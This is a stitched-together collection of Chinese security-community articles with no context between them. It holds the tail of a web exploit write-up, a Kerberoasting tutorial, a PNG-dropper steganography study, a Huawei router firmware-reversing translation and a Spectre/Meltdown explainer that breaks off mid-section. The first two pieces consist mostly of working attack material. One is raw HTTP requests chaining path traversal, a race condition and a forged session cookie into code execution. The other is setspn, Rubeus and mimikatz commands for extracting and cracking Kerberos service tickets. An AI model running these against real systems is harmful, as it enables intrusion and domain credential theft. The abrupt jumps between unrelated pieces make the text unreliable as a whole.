，来达到竞争的效果。
part2:
POST /Meathods/method1 HTTP/1.1
......
Cookie:
ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07
Content-Type: multipart/form-data;
boundary=------------------------85a71e8a43af37ac
Content-Length: 314
\--------------------------85a71e8a43af37ac
Content-Disposition: form-data; name="class"
../../../../../../../../../../../../../../../../../../../../tmp/TempClass
\--------------------------85a71e8a43af37ac
Content-Disposition: form-data; name="method"
getData1
\--------------------------85a71e8a43af37ac--
第三步，一旦包含成功，那么在实例化 TempClass 的时候，会写入一个新的 TempClass2，这下可没有代码会去 unlink
它了，可以被稳定的利用。
part3:
POST /Meathods/method1 HTTP/1.1
......
Cookie:
ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07
Content-Type: multipart/form-data;
boundary=------------------------85a71e8a43af37ac
Content-Length: 433
\--------------------------85a71e8a43af37ac
Content-Disposition: form-data; name="class"
../../../../../../../../../../../../../../../../../../../../tmp/TempClass2
\--------------------------85a71e8a43af37ac
Content-Disposition: form-data; name="method"
getData1
\--------------------------85a71e8a43af37ac
Content-Disposition: form-data; name="shell"
var_dump("hello,world");
\--------------------------85a71e8a43af37ac--
OK, 打完收工。
## review
稍微来总结一下整条利用链：
1. 找到文件上传 -> 一个 “不稳定” 的文件上传
2. 找文件包含 -> 目录穿越导致任意文件包含
3. 条件竞争 -> 结合 1、2 条件竞争获得 RCE
4. 找权限控制 -> 伪造 cookie 得到任意接口的访问权限 | 社区文章 |
# 0x01 什么是SPN
服务主体名称(SPN)是服务实例，可以理解为一个服务，比如mssql,http等等的唯一标识符。如果在整个林或域中的计算机上安装多个服务实例，则每个实例都必须具有自己的
SPN，Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。
# 0x02 注册SPN
## 2.1 机器账户
只有机器账户或者域管账户才有权限注册SPN。
setspn -S mssqlserver/hostname.xx.com:1433 accountname
## 2.2 域用户
setspn -S SqlServer/mssql.redteam.local:1434/SqlServer hack
## 2.3 查看已注册的SPN
**查看域内所有SPN**
setspn -q */*
**指定查看域注册的SPN**
setspn -T redteam.local -q */*
**删除指定SPN**
setspn -D mssql/mssql.redteam.local:1433/mssql mssql
**指定用户名/主机名查看SPN**
setspn -L username/hostname
# 0x03 SPN扫描
在域内渗透我们就不需要通过扫描来查看到底那台机器开了那些服务，可以通过SPN来获取想要的信息。相对于隐蔽性强。
## 3.1 PowerView
powershell -exec bypass
Import-module .\powerview.ps1
Get-NetUser -SPN
## 3.2 PowerShell-AD-Recon
Import-Module .\Discover-PSInterestingServices.ps1
Discover-PSInterestingServices #扫描域内的所有SPN信息
## 3.3 GetUserSPNs
Import-Module .\GetUserSPNs.ps1
## 3.4 流量分析
通过wireshark可以看到
就是通过LDAP协议向域控服务器上的LADP查询了SPN服务。
可以通过ADSI编辑器查看用户属性的servicePrincipalName值
# 0x04 Kerberoasting
kerberos通信过程：
在TGS-REQ中会发出ST服务票据获取servicePrincipalName(SPN)，该SPN是用户或者机器用户注册的。TGS-REP中TGS会返回给user一个ST，而ST是由user请求的server的密码进行加密的，我们可以从TGS-REP中提取加密的服务票证来进行离线解密。
在本地安全策略中将kerberos允许的加密类型改为RC4加密：
在运行更新策略:
gpupdate
## 4.1 SPN扫描
Import-Module .\GetUserSPNs.ps1
## 4.2 请求票据
### 4.2.1 powershell请求
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SqlServer/mssql.redteam.local:1434/SqlServer"
### 4.2.2 Rubeus.exe
Rubeus.exe kerberoast
Rubeus原理为现在LDAP查询SPN，再发送TGS包，再打印出hash，可以使用hashcat等进行爆破。
## 4.3 导出票据
mimikatz导出票据
kerberos::list /export
## 4.4 离线破解
使用tgsrepcrack.py
python2 tgsrepcrack.py pass.txt xx.kirbi | 社区文章 |
# 从PNG Dropper到Alpha通道隐写术实践
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 前言
前些天从安全客上看到一篇翻译文章是关于利用PNG像素隐藏PE代码，对实现细节很感兴趣就抽空稍微研究了下相关内容，于是就有了本次分享。
## 0x2 PNG Dropper样本分析
先来看下翻译文中的样本，其中PE资源里包含一个PNG目录，该目录里存储了8张PNG格式的图片：
将8张图片全部提取出来，随便选择一张打开查看，发现可以正常打开，但显示的内容都是一些杂乱的随机像素点：
将其拖进010edit分析下格式，能够正常解析图片数据，数据格式貌似没什么异常：
再来跟踪一下该样本内存解密PE的过程。整体流程是依次定位资源中的8张PNG图片，提取其中的图片数据到缓冲区里拼凑成完整的PE，最后再内存LoadPE执行。
然后最关心的部分应该就是提取图片数据的过程了。这部分的代码看上去比较多，其实主要也就3小部分。第1部分是将PNG图片流读进一个Bitmap对象来方便操作图片：
第2部分是获取该PNG的各项基本数据包括宽度、高度、Stride（行跨度？）和图像格式，这些数据主要是用作最后一步调用的结构体参数（Rect和BitmapData），这部分最关键，因为这些参数直接影响最后获取到的图片数据。
最后1步其实很简单，调用“GdipBitmapLockBits”函数就能直接获取到图片的数据了。当然这里得到的图片数据不是上文010edit里看到的那个IDAT数据，而是对该数据根据第2步指定的图像格式参数来进行解码后的“原始像素”数据。
根据此流程也可以自己尝试用Gdi+写代码来提取图片数据，然后发现从上面样本中图片获取到的编码格式是“PixelFormat32bppARGB”，然而实际内部存储的像素数据却用的是“PixelFormat16bppARGB1555”编码格式，这可能是作者的一种反检测小技巧吧。
## 0x3 Alpha通道隐写实践
本来分析到上面也就结束了，结果看到安全客上有评论谈及隐写术，想起了大学时期使用Matlab做LSB图像信息隐藏的实验，当时只是简单应付课程对其懵懵懂懂实在有点遗憾，于是趁此机会重新复习下顺便研究看看所谓高级的隐写术——利用RGBA中的A（Alpha）通道来隐藏数据。
首先复习LSB（最低有效位），这个是指图像隐藏采用的一种算法吧，查了一下这个算法看网上有用jpg图片来做，也有用bmp图片来做的，还有jpg处理完变png的，有点晕，其实应该是针对一般的RGB图像都能做。怎么理解呢，我们知道图像是由一个个的像素点构成，比如一张100×100（宽度和高度都是100）的图片，总共就有10000个像素点，而其中每个像素点都用一个RGB值来表示其颜色。对于不同的图片格式，其像素数据的编码格式可能不一样，RGB值的存储格式也就可能不同，即使相同格式比如PNG，其像素格式也有很多种，具体可参考“RGB格式详解”。本文主要以其中的“RGB32”或“ARGB32”为例，一个RGB值用3字节来分别表示R（红）、G（绿）、B（蓝）3个颜色通道的数值，这样每个颜色通道的数值范围都是0-255，LSB图像隐藏算法的原理就是利用其中每个像素颜色通道的最低位来存储需要隐藏的数据，这样对于整张图像的“视觉影响”非常低，图片处理前后就可能肉眼看上去“没什么变化”。
正好前段时间在看雪公众号上看到一篇用PHP来实现LSB的分享，直接贴上来先看看实现过程吧，最核心部分的就是将需要隐藏的数据的每个二进制位，依次存进每个选取像素点中蓝色（B）通道的最低位。
随便找一张图片测试一下效果吧：
完全看不出差异，只是隐藏的信息“hello”字符串实际上已经存储到右边图片的像素矩阵中，数据位依次被隐藏到所选45度角线上的像素点。当然这只是个简单的例子，我们自己写工具时可以从原点开始遍历所有像素点，也可以将其他2个通道最低位都用上以提高信息存储的容量。但总的来说，个人觉得LSB能够存储的容量还是相对比较小，比如我想把系统的计算器程序calc.exe（大约900kb）存进一张图片中则需要一张大约100万像素的图片。如下所示，经过自己实现的LSB工具（使用每个像素的最低位依次存储）处理后，将计算器程序放到图片中，图片的size前后膨胀了3MB！
信息提取的话只要反向操作像素数据就行，具体可以参见本文后面分享的Demo。这里就不继续探究LSB了，感兴趣的网上搜一下参考资料一大堆。接下来直接进入PNG的Alpha通道隐写这个话题，具体地本文是以PNG的“PixelFormat32bppARGB”这种像素格式的图像隐写为例进行分享。
其实我并不了解真正的Alpha通道隐写是什么样的，也没有去找相关实现的资料，此番分享完全是自己摸索一下基于“PixelFormat32bppARGB”格式的PNG图片如何进行信息隐藏。这种格式非常容易理解，就是在3字节RGB基础上再加一个A通道，也就是Alpha或者透明通道，于是正好组成4字节一组的像素数据（从高到低为ARGB）。然后对这个A通道的理解很关键，这个字节的数值表示的是该像素点的透明度：数值为0时，该像素点完全透明，相当于RGB完全隐藏不用；数值为255时该像素点只由RGB颜色决定，相当于没有透明度。如下图所示，左图的背景全透明，A通道数值为0,；右图背景设置（不）透明度为50%，则刚好为1字节数值范围的一半即0x80。
接着就很自然而然地想利用这种特性来藏数据了。既然透明度为0像素点完全透明，那该像素点的RGB这3个通道的字节数据我们不就可以随便用来存数据了么，而且其他像素点仍可以存储正常的图像数据啊！比如上图的透明背景图，透明像素数据的RGB值为0xffffff是因为该图的背景图层为白色（或空），那么反正它也不显示（透明度100%），干脆就征用一个字节来隐藏数据吧（如B通道字节，也可以RGB全征用）。那么隐藏数据前可以先计算一下图片的可用容量，比如设定A通道为0且R、G两通道为0xff则判断为可用像素点：
当可用透明像素点数量大于要隐藏的数据字节数就可以进行存储了，直接依次存进去每个可用像素点的B通道字节呗，存完后加个结束标志就行：
直接看一下隐藏效果吧，还是以存储计算器程序calc.exe（大约900kb）为例：
还行吧，肉眼仍看不出图片显示有什么不同，图片size看上去也还可以，膨胀不到1MB（差不多计算器程序的size），并且还有不小的提升空间（比如图片处理掉更多像素，或者加入其他2个通道存储）。然后使用神器“Stegsolve.jar”来看看图片隐藏的计算器吧：
当然之所以能这样一开始直接就看到数据是因为选取图片像素的原点区域正好被掏空（透明区域）可以用来存储数据，其实根据载体图片的不同完全可能将字节数据“随机化”。最后关于如何获取具有透明通道格式的可存储图片也很简单，以Photoshop为例，随便拉张图片选取无关背景区域直接删除像素（抠图），也可以再加一层透明图层背景，然后保存为PNG格式即可。
## 0x4 工具实现
既然研究都差不多了，不实现工具化总归有点不完整，示例代码就不多做介绍了，写的很粗糙原本是不打算献丑的，本着学习分享的理念还是直接扔到Github上仅供参考吧。以下分别是LSB和PNG
Alpha通道隐写工具，均包含加解密两种功能，以及处理过程相关的提示，可以满足一般的信息隐藏需求。
Demo地址：<https://github.com/weiyiling/img_store>
包含上述直接编译好的工具可以测试，目前仅面向PNG的ARGB32格式图片支持良好~
文章封面图使用此方式将工具隐写其中，读者可以用此图实践操作。
## 0x5 总结
通过这次的探索，对图像有了进一步的理解，图像像素的组织格式多种多样，本质上是颜色信息存储格式的差异，而信息隐藏的原理却是异曲同工，都是在于对目标载体的数据格式做分析，寻求可供存储的“无关”数据空间，只要不影响原始载体的功能“感觉”，应该都是可以操作的。
## 0x6 参考链接
1. 《利用PNG像素隐藏PE代码：分析PNG Dropper新样本》：<https://www.anquanke.com/post/id/166451>
2. 《图像隐写之使用PHP隐藏图像中的文本》：<https://zhuanlan.kanxue.com/article-4472.htm>
3. 《RGB格式详解（三）—RGB像素格式》：<http://blog.51cto.com/7335580/2065296> | 社区文章 |
原文作者：Juan Carlos Jiménez
翻译者：光棍节
原文地址：http://jcjc-dev.com/2016/12/14/reversing-huawei-5-reversing-firmware/
在第四部分我们得到了完整的固件，并成功解压得到其中的所有内容。本节主要是挖掘固件中有趣的代码，通用的漏洞等。
在翻译的过程中，我们跳过了一些关于Linux系统、二进制反编译以及其他一些相关概念的介绍。
### 一、收集和分析开源组件
华为根据GPL的要求，HG533路由器开源了相关的源代码:下载地址，源代码目录结构如图一所示。
图一
华为HG533开源代码
Bootloader源代码
本路由器的bootloader就是uboot。根据GPL授权要求，华为应该将uboot的源代码开源在官方网站上。本文中没有对其进一步分析。 内核源代码
首先我们看看源代码是否给我们的分析带来帮助，恢复出厂设置按钮是用户用来强制设置路由器的配置恢复成出厂设置，在之前的分析中，已有按下出厂设置按钮后UART打印的信息，如图二所示。
图二
出厂设置UART打印信息
用简单的grep命令，我们可以看到不同该组件（内核、二进制和共享库）的协同工作，如图三所示。
图三
源码中查找部分字符串
有了内核代码能够帮助我们发现安全相关的弱算法以及其他被厂商任何事可以接受的偏弱的实现方法。更重要的是，我们可以编译内核代码，从而实现自己想要的
用户空间源代码
在源代码中，其中部分的组件如busybox、iptables等也已经开源，如果其中的版本偏旧，这些组件本身就可能带有已公开的漏洞。
如果是奔着去找0day漏洞或者后门以及敏感数据的话，你的目标就不是这些开源的组件了，厂商或者某提供商开发的面向设备的非开源的代码一般不会进行详细的安全测试，可能含有较多的bug。这些代码会编译成二进制文件存放在用户空间中，我们有所有的文件系统，当然就有这些文件了。但是因为没有源代码，所以需要逆向分析这些二进制文件。
### 二、反编译器
市场上针对MIPS流行的反编译器如IDA Pro、Radare2和Binary Ninja等，(此处不做具体介绍翻译)。
收集文件系统中的二进制文件的信息，如：
$ file bin/busybox
bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked (uses shared libs), corrupted section header size
就知道了此路由器采用的是32位小端MIPS指令框架，使用了共享库等信息。当然也可以通过datasheet获取，如图四所示。
图四
RT3352datasheet
再找MIPS24KEc能支持的框架。 接下来举例分析用户空间下的二进制文件的反编译。
还是分析上面的回复出厂设置的，打印出来的部分字符串没有在文件中找到，如“button has been
pressed”，我们搜索这个打印的下一个字符串，如下：
~/Tech/Reversing/Huawei-HG533_TalkTalk/router_filesystem
$ grep -i -r "restore default success" .
Binary file ./bin/cli matches
Binary file ./bin/equipcmd matches
Binary file ./lib/libcfmapi.so matches
三个文件中包含了这个字符串，有两个在/bin/目录下，另外一个在/lib/下，用IDA Pro看看/bin/equipcmd，字符串所在的位置如图五所示。
图五
equipcmd反编译
仔细分析后发现，源代码中的c文件被编译成这些指令。如“clear configuration
file”对应之前分析的通信中的ERASE命令。基于这个结果，我们发现了“restore default success”或者“restore
default fail”，如果成功了，就另外打印一些东西，清空缓冲区，然后重启，这与我们之前研究的恢复出厂设置完全吻合。
在上面的图片中，可以看到IDA解析了所有的函数名称，其他的文件并不一定能这样。这是因为符号表的缘故。
### 三、查找默认WIFI密码生成算法
在前面的分析中，我们已经知道了路由器默认的证书信息，如图六所示。
图六 路由器默认证书信息
并且我们知道：
1、每一路由器设备都预置了一个不同的WIFI证书。
2、证书是在生产的时候硬编码在设备中或者由设备生成，而且，我们知道SSID和密码存放在flash的保护区中，进而有如下两种情况：
l 如果硬编码，那么路由器只需要从一个已知的存储区域读取即可 l
如果是由设备生成然后保存到flash中的话，那么一定会有一个算法存在设备中，如果输入的是公开的，比如MAC地址，那么我们应该可以找到、反编译并重新实现这个算法，从而计算出默认的WIFI密码。
查找硬编码字符串，除了username和password外，在这个设备中，TALKTALK-可能更合适。这个字符串是MAC地址后六位的前缀。如果是上述的后者，那么这个一定是硬编码在某个文件中。查找结果如下：
$ grep -r 'TALKTALK-' .
Binary file ./bin/cms matches
Binary file ./bin/nmbd matches
Binary file ./bin/smbd matches
其中nmbd和smbd是samba的两个文件，用来支持U盘设备的，所以我们分析另外一个cms文件。如图七所示。
图七
cms文件逆向分析
这与我们猜测的SSID生成算法很像。实现的代码位于ATP_WLAN_Init函数中，而这个函数有如下的操作：
1、 找到设备的MAC地址： mac = BSP_NET_GetBaseMacAddress()
2、 创建SSID字符串： snprintf(SSID, "TALKTALK-%02x%02x%02x", mac[3], mac[4], mac[5])
3、 保存字符串到某个位置： ATP_DBSetPara(SavedRegister3, 0xE8801E09, SSID)
但是不幸的是，在这个分支运行之后，执行了ATP_DBSave函数，接着执行其他的命令了，如图八所示。
图八
cms文件逆向分析
但是对这个函数以及后续的分析并没有找到我们想要的。
经过分析其他的潜在相关的代码段，我们没有发现密码生成相关算法，这将证实厂商使用相对安全地方法，将每一台设备的默认密码存放在flash保护区中。
在未来，我将接着分析其他的设备或者接着更详细的分析这个设备，因为真的有太多的设备都是使用着算法去生成密码的。 接下来看看还能干点其他的什么事情。
### 四、查找命令行注入漏洞
通常最危险的漏洞就是命令行注入，方法很简单，就是找一个输入的字符串，这个字符串是被用来作为shell命令的参数，我们试图添加自己的命令，绕过设备中的过滤器，在嵌入式设备中，这种漏洞经常会导致设备被完全的控制。
在嵌入式设备中，由于受到存储的限制，这种漏洞经常出现，比如你正在开发供用户配置设备的web接口，你希望添加网络测试功能的ping命令，你就需要给用户定义ping的目标的选项，然后返回结果。如图九所示。
图九
ping功能界面
当你受到用户提供的地址等信息时，你的处理可能是找到一个提供了ICMP协议的库文件，然后直接后台调用；或者是使用标准的系统调用，调用路由器支持的ping命令实现。当然后者比较容易实现，当然把用户的输入作为一个参数直接交给系统调用，是比较危险的，在这个路由器中的处理如图十所示。
图十
/bin/web的反编译
一个系统的system()调用是最简单的执行命令方法，有时候开发者会包装system()函数来过滤所有的输入，但是这种包装的难度比较大，总有一些会漏掉。
在二进制中查找可能调用system()是很有可能找到命令行注入的，调查一个很有可能没有过滤输入的，图十一是/bin/web中所有的调用了system()的。
图十一
web中调用了system()结果
函数的名字能够帮助我们了解这次调用是否会接收用户的输入，我们也看到了与PIN、PUK、SIMs等相关的调用，这是不是说这个应用于手机产品也有关系。
我尝试去分析atp_gethostbyname，但是目前没有找到可以注入的地方，如图十二所示，当不是一个域名的时候就返回错误。
图十二
非域名时返回错误
如果对其他的函数也进行详细的分析，可能会存在着命令行注入漏洞，另外一个很有可能存在注入漏洞的是“LAN-Side DSL CPE
Configuration”协议或者是TR-064协议，尽管这个协议只能用于内部网络的，被用来通过互联网来配置路由器，如果存在注入漏洞，可能就可以靠发送几个数据包从而获取如wifi密码等信息。
/bin/tr064的逆向如图十三所示。
图十三
tr064文件反编译
从上图中可以看到在第二节中的SSL认证证书文件，利用这个证书，我们可以伪装成路由器与服务器等进行通信，进而挖掘其中存在的漏洞等。
### 五、查找其他类型的漏洞
当然，我们也可以去查找如缓冲区溢出等漏洞，通过控制用户端的输入，查找缓冲区溢出漏洞，从而完全的控制路由器。 缓冲区漏洞挖掘的思路很简单，如图十四所示。
图十四
登录时的缓冲区溢出测试示意图
但是这类漏洞的利用方法相对会比较麻烦，针对不同的场景需要有不同的应对方法，甚至需要使用如ROP等复杂的技术。当然，嵌入式设备的安全相对PC机要落后很多，如ASLR等基本上不会采用。
你可以通过发现潜在的输入，查找管理这些输入的函数名，进而分析并构造特殊的意想不到的输入，这样很有可能找到某个漏洞。
我们也可以关心如strcpy，strcat，sprintf等函数，这些函数很有可能存在缓冲区溢出漏洞，当然也包括strncpy，strncat等，只是利用方法会更复杂。如图十五所示。
图十五
strcpy等函数搜索结果
尽管上面的strcpy等函数是否是处理用户的输入的，但是类似这种的代码是很危险的，一旦你发现潜在的不安全字符串操作，很有可能就找到了一个可以利用的漏洞。
尝试发送意外的长输入使之崩溃，然后分析崩溃的原因，这是挖掘此类漏洞的通用作法，你也不应该设置所有的输入都是常规的输入，因为可能会被过滤，可以基于工具实现缓冲区漏洞的挖掘。
Web漏洞中的csrf漏洞同样经常出现在嵌入式设备中，利用他们可以试下文件的读写或者绕过认证进而控制系统，结合命令行注入和csrf漏洞，路由器很有可能会被远程的攻击。
当然RetDec是可以将MIPS指令反编译成伪C代码。如图十六所示。
图十六
RetDec反编译成伪C代码
### 六、后记
后续的研究是关于动态调试二进制文件的
* * * | 社区文章 |
# 解密为何树莓派不受SPECTRE或MELTDOWN漏洞影响
##### 译文声明
本文是翻译文章，文章原作者 Eben Upton，文章来源：raspberrypi.org
原文地址：<https://www.raspberrypi.org/blog/why-raspberry-pi-isnt-vulnerable-to-spectre-or-meltdown/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
过去几天，名为[Spectre以及Meltdown](https://spectreattack.com/)的一组安全漏洞引发了各种讨论。几乎所有的Intel处理器会受到这些漏洞影响，而许多AMD处理器及[ARM核心](https://developer.arm.com/support/security-update)处理器同样也无法幸免于难（特别是Spectre漏洞）。利用Spectre漏洞，攻击者可以绕过软件检查机制，在当前地址空间中从任意位置读取数据；而Meltdown漏洞则可以帮助攻击者从操作系统内核地址空间的任意位置读取数据，即使内核地址空间通常情况下对用户程序透明。
这两个漏洞利用的是现代处理器中常用的性能优化功能（缓存及推测执行），通过侧信道（side-channel）攻击来获取信息。幸运的是，树莓派（Raspberry Pi）并不会受到这次事件影响，原因是树莓派使用了特定版本的ARM核心。
为了理解具体原因，我们需要先介绍一下现代处理器中的一些基本概念。我们通过符合Python语法的几个简单代码来介绍这些概念，示例程序如下所示：
t = a+b
u = c+d
v = e+f
w = v+g
x = h+i
y = j+k
虽然计算机中的处理器不会直接执行Python程序，但上述语句非常简单，大致可以等同于单条机器指令。这里我不会去介绍一些技术细节（比如[流水线处理（pipelining）](https://en.wikipedia.org/wiki/Pipeline_\(computing))以及[寄存器重命名（register
renaming）](https://en.wikipedia.org/wiki/Register_renaming)），虽然这些技术点对处理器设计师来说非常重要，但对理解Spectre以及Meltdown的原理帮助不大。
如果想全面了解处理器设计及现代计算机架构的其他内容，大家可以阅读Hennessy以及Patterson编写的经典参考书：[ _Computer
Architecture: A Quantitative Approach_](https://www.amazon.co.uk/Computer-Architecture-Quantitative-Approach-Kaufmann/dp/012383872X)，这是一本很棒的参考书，几乎无人能出其右。
## 二、标量处理器
所谓的标量处理器（scalar
processor），指的是最为简单的一类现代处理器类型，这类处理器在每个周期（cycle）内只能执行一条指令。前面我们给出的那个例子在标量处理器上需要消耗6个执行周期。
许多处理器属于标量处理器，比如Intel 486、Raspberry Pi 1以及Raspberry Pi Zero所使用的ARM1176核心。
## 三、超标量处理器
如果想要提高标量处理器（或者其他类型的任意处理器）的运行速度，最容易想到的一种方法就是增加处理器的时钟频率。然而，这么做很快就会触碰到处理器内部逻辑门运行速度的天花板，因此处理器设计人员开始寻找可以同时完成多项任务的办法。
有序（in-order）超标量处理器（superscalar
processor）会检查指令流，尝试使用多条流水线一次执行多条指令，但在同一条流水线中必须遵守指令的依赖关系。指令依赖非常重要，比如，在上述例子中，你可能会认为两路超标量处理器可以将6条指令配对（或者
_dual-issue_ ）成如下形式：
t, u = a+b, c+d
v, w = e+f, v+g
x, y = h+i, j+k
但实际上并非如此，在计算`w`之前，我们必须先计算`v`，因此第3及第4条指令没办法同时执行。两路超标量处理器没办法找到与第3条指令配对的其他指令，因此上述指令需要使用4个周期才能执行完毕：
t, u = a+b, c+d
v = e+f # second pipe does nothing here
w, x = v+g, h+i
y = j+k
许多处理器属于超标量处理器，如Intel Pentium、Raspberry Pi 2以及Raspberry Pi 3中使用的ARM
Cortex-A7以及Cortex-A53核心等。相比Raspberry Pi 2，Raspberry Pi
3的时钟速率只提升了33%，但整体性能提升了将近一倍，原因在于Cortex-A53比Cortex-A7能够支持更多指令的双路运行。
## 四、乱序处理器
回到这个例子中，我们可以看到，虽然`v`和`w`有依赖关系，但程序后续使用了一些独立指令，我们可以在第二个执行周期中，充分利用这些指令，填满空闲的流水线。乱序（out-of-order）超标量处理器可以输入指令流（当然同样需要遵守依赖关系），使流水线保持忙碌状态。
对于我们那个例子，乱序处理器可以交换`w`以及`x`的定义，以提高工作效率，如下所示：
t = a+b
u = c+d
v = e+f
x = h+i
w = v+g
y = j+k
这样只需3个周期就能完成所有指令的执行：
t, u = a+b, c+d
v, x = e+f, h+i
w, y = v+g, j+k
许多处理器属于乱序处理器，如Intel Pentium
2（Intel及AMD后续生产的x86处理器大多都属于这类处理器，某些Atom以及Quark处理器除外），近期推出的ARM核心也属于这一类别，如Cortex-A9、-A15、-A17以及-A57。
## 五、分支预测器
我们给出的例子是一段非常简单直白的代码，实际程序会复杂得多：这些程序既包括前向分支（用来实现条件判断操作，如`if`语句），也包括后向分支（用来实现循环语句）。分支可以是条件无关的（即始终会被执行），也可以是条件相关的（由计算结果判断是否需要执行）。
在获取指令时，处理器可能会遇到某个条件分支，该分支依赖于某个尚未计算出的值。为了避免任务停滞，处理器必须猜测接下来要获取哪条指令：是按内存顺序（memory
order）获取的下一条指令（不进入该分支），还是进入分支的下一条指令。分支预测器（branch
predictor）可以帮助处理器智能判断是否会进入某条分支，具体方法是收集过去执行过程中进入这些分支的频率，根据统计信息给出结果。
现代分支预测器非常复杂，生成的预测结果也非常准确。Cortex-A7到Cortex-A53的分支预测改进了不少，这也是Raspberry Pi
3性能有所提升的原因所在。然而，攻击者可以精心构造一系列分支，训练分支预测器，使其预测结果非常糟糕。
## 六、推测执行
对顺序指令重新排序的确是非常强大的一种方法，可以提高指令级别的并行处理能力，但随着处理器变得越来越宽（即能够实现3指令、4指令并发指令），想要保持所有流水线处于忙碌状态也变得越来越难。因此现代处理器引入了推测执行（speculate）功能。引入推测执行功能后，处理器可能会执行并不需要的那些指令（如果相应分支被跳过），这样流水线会始终处于忙碌状态（不用就闲置了），如果最终结果是该指令没被执行，处理器只需要丢弃已得结果即可。
为了说明推测执行的优点，我们可以来看一下另一个例子：
t = a+b
u = t+c
v = u+d
if v:
w = e+f
x = w+g
y = x+h
这个例子中，以来关系为`t`->`u`->`v`以及`w`->`x`->`y`，因此，如果没有推测执行机制，两路乱序处理器无法填满第二条流水线。处理器需要3个周期才能计算`t`、`u`以及`v`，之后才能知道`if`语句下的代码段能否被执行，如果执行这段分支，则需3个周期来计算`w`、`x`以及`y`。假设`if`语句（由一条分支指令来实现）需要消耗1个周期，那么这个例子需要消耗4个周期（如果`v`为0）或者7个周期（如果`v`不为0）.
如果分支预测器认为`if`语句下的代码分支很有可能会被执行，那么处理器就可以通过推测执行将上述代码变成如下样子：
t = a+b
u = t+c
v = u+d
w_ = e+f
x_ = w_+g
y_ = x_+h
if v:
w, x, y = w_, x_, y_
如上代码增加了指令级别的并行度，可以保持流水线处于忙碌状态：
t, w_ = a+b, e+f
u, x_ = t+c, w_+g
v, y_ = u+d, x_+h
if v:
w, x, y = w_, x_, y_
经过处理后，推测型乱序处理器可以利用闲置的流水线能力来更新`w`、`x`以及`y`的分支及条件，因此上述代码大约需要3个周期即可完成执行任务。
## 七、缓存
在早些时候，处理器的速度与内存访问速度不相上下。我原来用的是BBC
Micro，这款计算机搭载了2MHz主频的6502处理器，每隔2µs（微秒）就能执行一条指令，内存处理周期为0.25µs。经过35年的发展，现在处理器已经变得非常快，但内存的变化并不大：Raspberry
Pi 3中的Cortex-A53每隔0.5ns（纳秒）就能执行一条指令，但访问主内存却需要100ns。
乍听起来像是一场灾难：每次需要访问内存时，我们都必须等待100ns才能得到结果。我们来看一个例子：
a = mem[0]
b = mem[1]
这两条指令需要消耗200ns。
然而，实际生活中，程序访问内存的方式其实存在一定的相关性，某种程度上可以预测，这种相关性表现为时间局部性（如果我访问了一个位置，那么可能我很快就会再次访问该位置）以及空间局部性（如果我访问一个位置，那么可能我很快会访问其临近位置）。缓存（Cache）利用的正是这种相关性，来降低访问内存的平均成本。
高速缓存是一个小型的片上（on-chip）存储器，靠近处理器，用来存储最近使用过的位置（及临近位置）所对应的内容副本，以便在后续访问任务中快速返回这些数据。使用缓存机制后，上述代码的执行时间就会大幅减少，只需消耗100ns出头即可：
a = mem[0] # 100ns delay, copies mem[0:15] into cache
b = mem[1] # mem[1] is in the cache
从Spectre以及Meltdown的角度来看，关键点在于如果你可以计算出内存访问所需的时间，那么你就可以确定你所访问的目的地址是否在缓存中，位于缓存中则所需时间较短，否则需要较长时间。
## 八、侧信道攻击
根据维基百科的解释：
>
> “……侧信道攻击是利用密码系统设备在运行中所泄露的信息的一种攻击方式，这种攻击并非针对加密算法的暴力破解攻击，也没有用到加密算法本身的理论缺陷（如基于比较的密码分析技术）。侧信道攻击中，时间消耗、功率消耗、电磁辐射或者声音等都可以作为额外的信息来源，攻击者可以利用这些信息突破目标系统的重重防御。”
Spectre以及Meltdown用到的正是侧信道攻击技术，利用时间消耗信息来观察可访问的一个位置是否在缓存中，进而推断通常情况下无法访问的某个内存位置所对应的具体内容。
## 九、综合考虑
